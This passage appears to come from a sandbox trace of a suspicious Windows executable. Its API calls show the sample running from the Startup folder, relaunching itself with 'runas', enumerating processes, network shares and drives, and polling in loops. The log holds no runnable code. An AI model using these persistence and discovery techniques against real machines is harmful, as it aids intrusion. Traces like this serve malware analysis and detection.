th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0190.361] lstrlenW (lpString="explorer.exe") returned 12 [0190.361] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0190.362] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0190.362] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0190.362] lstrlenW (lpString="SearchUI.exe") returned 12 [0190.362] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0190.363] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0190.363] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0190.363] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0190.363] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0190.364] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0190.364] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0190.364] lstrlenW (lpString="dllhost.exe") returned 11 [0190.364] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0190.365] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0190.365] Process32NextW (in: hSnapshot=0x2c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 0 [0190.365] CloseHandle (hObject=0x2c4) returned 1 [0190.365] Sleep (dwMilliseconds=0x1f4) Thread: id = 33 os_tid = 0xdc8 [0155.527] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4bcbf8 [0155.527] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x497798 [0155.528] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4bcd18 [0155.528] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcd18, Size=0x20) returned 0x45f058 [0155.528] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4bcd18 [0155.528] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcd18, Size=0x20) returned 0x45f080 [0155.528] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0155.529] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0155.529] Wow64DisableWow64FsRedirection (in: OldValue=0x261ff20 | out: OldValue=0x261ff20*=0x0) returned 1 [0155.529] lstrlenW (lpString="kernel32.dll") returned 12 [0155.529] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f058 | out: hHeap=0x420000) returned 1 [0155.529] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0155.529] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f080 | out: hHeap=0x420000) returned 1 [0155.529] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x497798, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 0x77 [0155.530] ShellExecuteExW (in: pExecInfo=0x261ff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x261ff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0188.827] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089858 [0188.827] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089858, Size=0x20) returned 0x408dbc8 [0188.827] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x40898d0 [0188.827] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x40898d0, Size=0x20) returned 0x408dc68 [0188.828] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0188.828] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0188.828] Wow64DisableWow64FsRedirection (in: OldValue=0x0 | out: OldValue=0x0) returned 0 [0188.832] lstrlenW (lpString="kernel32.dll") returned 12 [0188.832] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408dc68 | out: hHeap=0x420000) returned 1 [0188.832] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0188.832] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408dbc8 | out: hHeap=0x420000) returned 1 [0188.832] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497798 | out: hHeap=0x420000) returned 1 [0188.832] lstrlenW (lpString="runas") returned 5 [0188.832] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcbf8 | out: hHeap=0x420000) returned 1 [0188.832] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0 [0188.832] ReleaseMutex (hMutex=0x1ec) returned 1 [0188.832] Sleep (dwMilliseconds=0x1f4) [0189.693] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0 [0189.694] ReleaseMutex (hMutex=0x1ec) returned 1 [0189.694] Sleep (dwMilliseconds=0x1f4) [0190.234] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0190.234] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x464b98 | out: hHeap=0x420000) returned 1 Thread: id = 34 os_tid = 0xdcc [0155.531] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47cda8 [0155.531] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47cda8, Size=0x20) returned 0x45ed88 [0155.531] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45ed88, Size=0x40) returned 0x43d5f0 [0155.531] GetLogicalDrives () returned 0x4 [0155.531] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4be3c8 [0155.534] GetComputerNameW (in: lpBuffer=0x4be3cc, nSize=0x271ff64 | out: lpBuffer="NQDPDE", nSize=0x271ff64) returned 1 [0155.534] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1000) returned 0x481ee0 [0155.535] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x271ff34 | out: lphEnum=0x271ff34*=0x434f60) returned 0x0 [0155.539] WNetEnumResourceW (in: hEnum=0x434f60, lpcCount=0x271ff30, lpBuffer=0x481ee0, lpBufferSize=0x271ff38 | out: lpcCount=0x271ff30, lpBuffer=0x481ee0, lpBufferSize=0x271ff38) returned 0x103 [0155.541] WNetCloseEnum (hEnum=0x434f60) returned 0x0 [0155.541] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x271ff34 | out: lphEnum=0x271ff34*=0x4840d8) returned 0x0 [0155.654] WNetEnumResourceW (in: hEnum=0x4840d8, lpcCount=0x271ff30, lpBuffer=0x481ee0, lpBufferSize=0x271ff38 | out: lpcCount=0x271ff30, lpBuffer=0x481ee0, lpBufferSize=0x271ff38) returned 0x0 [0155.654] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1000) returned 0x4d4428 [0155.655] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x481ee0, lphEnum=0x271ff08 | out: lphEnum=0x271ff08*=0x434ee0) returned 0x0 [0156.722] WNetEnumResourceW (in: hEnum=0x434ee0, lpcCount=0x271ff04, lpBuffer=0x4d4428, lpBufferSize=0x271ff0c | out: lpcCount=0x271ff04, lpBuffer=0x4d4428, lpBufferSize=0x271ff0c) returned 0x103 [0156.723] WNetCloseEnum (hEnum=0x434ee0) returned 0x0 [0156.723] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1000) returned 0x4d3420 [0156.723] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x481f00, lphEnum=0x271ff08 | out: lphEnum=0x271ff08*=0x0) returned 0x4b8 [0171.420] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1000) returned 0x4054878 [0171.420] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x481f20, lphEnum=0x271ff08 | out: lphEnum=0x271ff08*=0x0) returned 0x4c6 [0171.608] WNetEnumResourceW (in: hEnum=0x4840d8, lpcCount=0x271ff30, lpBuffer=0x481ee0, lpBufferSize=0x271ff38 | out: lpcCount=0x271ff30, lpBuffer=0x481ee0, lpBufferSize=0x271ff38) returned 0x103 [0171.608] WNetCloseEnum (hEnum=0x4840d8) returned 0x0 [0171.608] GetLogicalDrives () returned 0x4 [0171.608] Sleep (dwMilliseconds=0x64) [0172.733] GetLogicalDrives () returned 0x4 [0172.733] Sleep (dwMilliseconds=0x64) [0173.291] GetLogicalDrives () returned 0x4 [0173.291] Sleep (dwMilliseconds=0x64) [0173.480] GetLogicalDrives () returned 0x4 [0173.480] Sleep (dwMilliseconds=0x64) [0173.729] GetLogicalDrives () returned 0x4 [0173.729] Sleep (dwMilliseconds=0x64) [0173.966] GetLogicalDrives () returned 0x4 [0173.966] Sleep (dwMilliseconds=0x64) [0174.438] GetLogicalDrives () returned 0x4 [0174.438] Sleep (dwMilliseconds=0x64) [0174.901] GetLogicalDrives () returned 0x4 [0174.901] Sleep (dwMilliseconds=0x64) [0175.182] GetLogicalDrives () returned 0x4 [0175.182] Sleep (dwMilliseconds=0x64) [0175.596] GetLogicalDrives () returned 0x4 [0175.596] Sleep (dwMilliseconds=0x64) [0175.905] GetLogicalDrives () returned 0x4 [0175.905] Sleep (dwMilliseconds=0x64) [0176.117] GetLogicalDrives () returned 0x4 [0176.117] Sleep (dwMilliseconds=0x64) [0176.326] GetLogicalDrives () returned 0x4 [0176.326] Sleep (dwMilliseconds=0x64) [0176.472] GetLogicalDrives () returned 0x4 [0176.472] Sleep (dwMilliseconds=0x64) [0176.608] GetLogicalDrives () returned 0x4 [0176.608] Sleep (dwMilliseconds=0x64) [0176.861] GetLogicalDrives () returned 0x4 [0176.861] Sleep (dwMilliseconds=0x64) [0177.140] GetLogicalDrives () returned 0x4 [0177.140] Sleep (dwMilliseconds=0x64) [0177.302] GetLogicalDrives () returned 0x4 [0177.302] Sleep (dwMilliseconds=0x64) [0177.791] GetLogicalDrives () returned 0x4 [0177.791] Sleep (dwMilliseconds=0x64) [0177.902] GetLogicalDrives () returned 0x4 [0177.902] Sleep (dwMilliseconds=0x64) [0178.024] GetLogicalDrives () returned 0x4 [0178.024] Sleep (dwMilliseconds=0x64) [0178.128] GetLogicalDrives () returned 0x4 [0178.128] Sleep (dwMilliseconds=0x64) [0178.237] GetLogicalDrives () returned 0x4 [0178.237] Sleep (dwMilliseconds=0x64) [0178.345] GetLogicalDrives () returned 0x4 [0178.346] Sleep (dwMilliseconds=0x64) [0178.893] GetLogicalDrives () returned 0x4 [0178.893] Sleep (dwMilliseconds=0x64) [0179.153] GetLogicalDrives () returned 0x4 [0179.154] Sleep (dwMilliseconds=0x64) [0179.536] GetLogicalDrives () returned 0x4 [0179.536] Sleep (dwMilliseconds=0x64) [0179.687] GetLogicalDrives () returned 0x4 [0179.687] Sleep (dwMilliseconds=0x64) [0179.879] GetLogicalDrives () returned 0x4 [0179.879] Sleep (dwMilliseconds=0x64) [0180.400] GetLogicalDrives () returned 0x4 [0180.400] Sleep (dwMilliseconds=0x64) [0180.728] GetLogicalDrives () returned 0x4 [0180.728] Sleep (dwMilliseconds=0x64) [0180.904] GetLogicalDrives () returned 0x4 [0180.904] Sleep (dwMilliseconds=0x64) [0181.117] GetLogicalDrives () returned 0x4 [0181.117] Sleep (dwMilliseconds=0x64) [0181.273] GetLogicalDrives () returned 0x4 [0181.273] Sleep (dwMilliseconds=0x64) [0181.626] GetLogicalDrives () returned 0x4 [0181.626] Sleep (dwMilliseconds=0x64) [0182.158] GetLogicalDrives () returned 0x4 [0182.158] Sleep (dwMilliseconds=0x64) [0182.298] GetLogicalDrives () returned 0x4 [0182.298] Sleep (dwMilliseconds=0x64) [0182.680] GetLogicalDrives () returned 0x4 [0182.680] Sleep (dwMilliseconds=0x64) [0182.830] GetLogicalDrives () returned 0x4 [0182.830] Sleep (dwMilliseconds=0x64) [0183.197] GetLogicalDrives () returned 0x4 [0183.197] Sleep (dwMilliseconds=0x64) [0183.347] GetLogicalDrives () returned 0x4 [0183.347] Sleep (dwMilliseconds=0x64) [0183.613] GetLogicalDrives () returned 0x4 [0183.613] Sleep (dwMilliseconds=0x64) [0184.239] GetLogicalDrives () returned 0x4 [0184.239] Sleep (dwMilliseconds=0x64) [0184.446] GetLogicalDrives () returned 0x4 [0184.446] Sleep (dwMilliseconds=0x64) [0184.677] GetLogicalDrives () returned 0x4 [0184.677] Sleep (dwMilliseconds=0x64) [0185.041] GetLogicalDrives () returned 0x4 [0185.041] Sleep (dwMilliseconds=0x64) [0185.492] GetLogicalDrives () returned 0x4 [0185.492] Sleep (dwMilliseconds=0x64) [0185.767] GetLogicalDrives () returned 0x4 [0185.767] Sleep (dwMilliseconds=0x64) [0186.055] GetLogicalDrives () returned 0x4 [0186.055] Sleep (dwMilliseconds=0x64) [0186.288] GetLogicalDrives () returned 0x4 [0186.288] Sleep (dwMilliseconds=0x64) [0186.795] GetLogicalDrives () returned 0x4 [0186.795] Sleep (dwMilliseconds=0x64) [0187.049] GetLogicalDrives () returned 0x4 [0187.049] Sleep (dwMilliseconds=0x64) [0187.412] GetLogicalDrives () returned 0x4 [0187.412] Sleep (dwMilliseconds=0x64) [0187.798] GetLogicalDrives () returned 0x4 [0187.798] Sleep (dwMilliseconds=0x64) [0187.956] GetLogicalDrives () returned 0x4 [0187.956] Sleep (dwMilliseconds=0x64) [0188.223] GetLogicalDrives () returned 0x4 [0188.223] Sleep (dwMilliseconds=0x64) [0188.496] GetLogicalDrives () returned 0x4 [0188.496] Sleep (dwMilliseconds=0x64) [0188.792] GetLogicalDrives () returned 0x4 [0188.792] Sleep (dwMilliseconds=0x64) [0189.232] GetLogicalDrives () returned 0x4 [0189.232] Sleep (dwMilliseconds=0x64) [0189.694] GetLogicalDrives () returned 0x4 [0189.694] Sleep (dwMilliseconds=0x64) [0189.993] GetLogicalDrives () returned 0x4 [0189.993] Sleep (dwMilliseconds=0x64) [0190.162] GetLogicalDrives () returned 0x4 [0190.162] Sleep (dwMilliseconds=0x64) [0190.304] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0190.304] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d5f0 | out: hHeap=0x420000) returned 1 Thread: id = 35 os_tid = 0xdd0 [0155.554] GetTickCount () returned 0x113913a [0155.554] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x24) returned 0x436048 [0155.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x436048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0 [0155.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x436048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0155.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x436048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0155.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x436048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0155.622] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47cdf0 [0155.622] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47cdf0, Size=0x20) returned 0x45f058 [0155.622] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47cc10 [0155.622] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47cc10, Size=0x20) returned 0x45f080 [0155.622] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0155.622] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0155.622] Wow64DisableWow64FsRedirection (in: OldValue=0x281ff7c | out: OldValue=0x281ff7c*=0x0) returned 1 [0155.622] lstrlenW (lpString="kernel32.dll") returned 12 [0155.622] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f058 | out: hHeap=0x420000) returned 1 [0155.622] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0155.622] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f080 | out: hHeap=0x420000) returned 1 [0155.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x466768, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0 [0155.623] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0156.815] GetTickCount () returned 0x113962b [0156.815] GetTickCount () returned 0x113962b [0156.815] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0157.091] GetTickCount () returned 0x1139745 [0157.091] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0157.265] GetTickCount () returned 0x11397f0 [0157.270] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0157.527] GetTickCount () returned 0x11398fa [0157.527] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0157.741] GetTickCount () returned 0x11399c5 [0157.742] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0157.973] GetTickCount () returned 0x1139ab0 [0157.973] GetTickCount () returned 0x1139ab0 [0157.973] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0158.282] GetTickCount () returned 0x1139be8 [0158.282] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0158.730] GetTickCount () returned 0x1139dad [0158.730] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0159.041] GetTickCount () returned 0x1139ee6 [0159.041] GetTickCount () returned 0x1139ee6 [0159.041] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0159.383] GetTickCount () returned 0x113a02e [0159.383] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0159.806] GetTickCount () returned 0x113a1e3 [0159.807] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0160.048] GetTickCount () returned 0x113a2ce [0160.048] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0160.682] GetTickCount () returned 0x113a54e [0160.682] GetTickCount () returned 0x113a54e [0160.682] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0161.119] GetTickCount () returned 0x113a704 [0161.119] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0161.711] GetTickCount () returned 0x113a946 [0161.711] GetTickCount () returned 0x113a946 [0161.711] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0162.182] GetTickCount () returned 0x113ab2a [0162.182] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0162.836] GetTickCount () returned 0x113adbb [0162.836] GetTickCount () returned 0x113adbb [0162.836] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0163.189] GetTickCount () returned 0x113af12 [0163.189] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0163.402] GetTickCount () returned 0x113afed [0163.405] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0163.645] GetTickCount () returned 0x113b0d7 [0163.645] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0163.849] GetTickCount () returned 0x113b1a3 [0163.849] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0164.060] GetTickCount () returned 0x113b27d [0164.060] GetTickCount () returned 0x113b27d [0164.060] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0164.580] GetTickCount () returned 0x113b481 [0164.580] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0164.993] GetTickCount () returned 0x113b617 [0164.993] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0165.544] GetTickCount () returned 0x113b84a [0165.544] GetTickCount () returned 0x113b84a [0165.544] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0166.113] GetTickCount () returned 0x113ba7c [0166.113] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0166.422] GetTickCount () returned 0x113bbb5 [0166.422] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0166.786] GetTickCount () returned 0x113bd1c [0166.786] GetTickCount () returned 0x113bd1c [0166.786] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0166.915] GetTickCount () returned 0x113bd99 [0166.915] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0167.192] GetTickCount () returned 0x113beb2 [0167.192] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0167.587] GetTickCount () returned 0x113c049 [0167.587] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0167.834] GetTickCount () returned 0x113c133 [0167.834] GetTickCount () returned 0x113c133 [0167.834] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0168.113] GetTickCount () returned 0x113c24c [0168.113] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0168.348] GetTickCount () returned 0x113c337 [0168.348] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0168.497] GetTickCount () returned 0x113c3d3 [0168.497] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0168.601] GetTickCount () returned 0x113c440 [0168.601] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0168.739] GetTickCount () returned 0x113c4bd [0168.739] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0168.835] GetTickCount () returned 0x113c52b [0168.835] GetTickCount () returned 0x113c52b [0168.835] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0168.945] GetTickCount () returned 0x113c598 [0168.945] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.054] GetTickCount () returned 0x113c605 [0169.054] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.162] GetTickCount () returned 0x113c673 [0169.162] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.273] GetTickCount () returned 0x113c6e0 [0169.273] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.381] GetTickCount () returned 0x113c74d [0169.381] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.490] GetTickCount () returned 0x113c7bb [0169.490] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.600] GetTickCount () returned 0x113c828 [0169.600] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.719] GetTickCount () returned 0x113c896 [0169.719] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.834] GetTickCount () returned 0x113c913 [0169.834] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.944] GetTickCount () returned 0x113c980 [0169.944] GetTickCount () returned 0x113c980 [0169.944] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0170.053] GetTickCount () returned 0x113c9ed [0170.053] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0170.163] GetTickCount () returned 0x113ca5b [0170.163] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0170.272] GetTickCount () returned 0x113cac8 [0170.272] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0170.484] GetTickCount () returned 0x113cb93 [0170.484] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0170.608] GetTickCount () returned 0x113cc10 [0170.608] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0170.719] GetTickCount () returned 0x113cc7e [0170.719] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0170.819] GetTickCount () returned 0x113cceb [0170.819] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0171.308] GetTickCount () returned 0x113cecf [0171.308] GetTickCount () returned 0x113cecf [0171.308] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0171.502] GetTickCount () returned 0x113cf8b [0171.502] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0171.600] GetTickCount () returned 0x113cff8 [0171.600] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0172.772] GetTickCount () returned 0x113d48c [0172.772] GetTickCount () returned 0x113d48c [0172.772] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0173.291] GetTickCount () returned 0x113d680 [0173.292] 